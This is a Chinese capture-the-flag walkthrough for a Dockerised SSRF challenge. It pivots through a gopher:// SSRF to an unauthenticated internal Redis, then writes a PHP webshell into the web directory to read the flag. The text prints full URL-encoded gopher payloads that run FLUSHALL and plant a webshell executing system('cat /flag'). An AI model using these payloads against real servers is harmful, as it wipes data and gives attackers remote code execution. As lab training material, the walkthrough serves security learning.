目录
环境搭建
题目分析
分析代码
解题过程
Redis未授权访问
寻找Flag
环境搭建
进入含有docker-compose.yml的文件内,拉取容器镜像
docker-compose up -d
题目分析
访问容器地址172.25.254.200:8091查看题目
分析代码
url通过GET请求访问界面,过滤file://(本地文件协议),dict://协议等,例如
url通过GET请求参数info,会返回PHP的配置等信息,
寻找有用的信息,IP等
分析代码发现没有过滤http协议和gopher协议
使用http协议进行内网主机存活探测
解题过程
尝试使用url传递PHP中找到的IP访问
使用burpsuite爆破查看这个服务器开放的端口,发现只开放了80一个端口
查看IP,172.18.0.2,是一个内网IP,
再次使用burpsuite爆破查看该网段是否有其他存活服务器,
发现了172.18.0.1:80和172.18.0.3:80,分别访问一下
接着探测这两个服务器的哪些端口为开放状态,发现了172.20.0.3:6379,
访问发现端口有报错提示
这是Redis的报错,在执行 Redis 的GET
命令时,传入的参数数量不正确。
说明这台内网主机上还运行着Redis服务。
因此可以尝试 Redis 未授权访问攻击
Redis未授权访问
这台内网服务器(172.18.0.3)上还存在http服务,所以将webshell写入其web目录,然后使用ssrf进行访问。
利用工具 gopherus 写webshell
路径先默认选择,写入一个php代码
<?php phpinfo();
将127.0.0.1替换为172.18.0.3
访问
http://172.25.254.250:8091/?url=gopher://172.18.0.3:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
上传失败
浏览器执行访问url时会现将其进行解码,尝试对url进行编码,再次访问,还是失败
是否是路径的问题?
猜测是/var/www/html/下的目录中的文件
使用Burpsuite爆破一下
发现存在upload文件夹
访问一下
再次生成shell,路径修改为/var/www/html/upload
将127.0.0.1改为172.18.0.3
上传访问,失败
对shell进行url编码
上传测试
查看后端,发现生成了 shell.php 文件
寻找Flag
再次使用工具生成shell
写入php代码为
<?php system('cat /flag');?>
修改ip,并对shell进行url编码
访问
http://172.25.254.250:8091/?url=gopher://172.18.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520/flag%2527%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
访问shell.php文件
Flag出现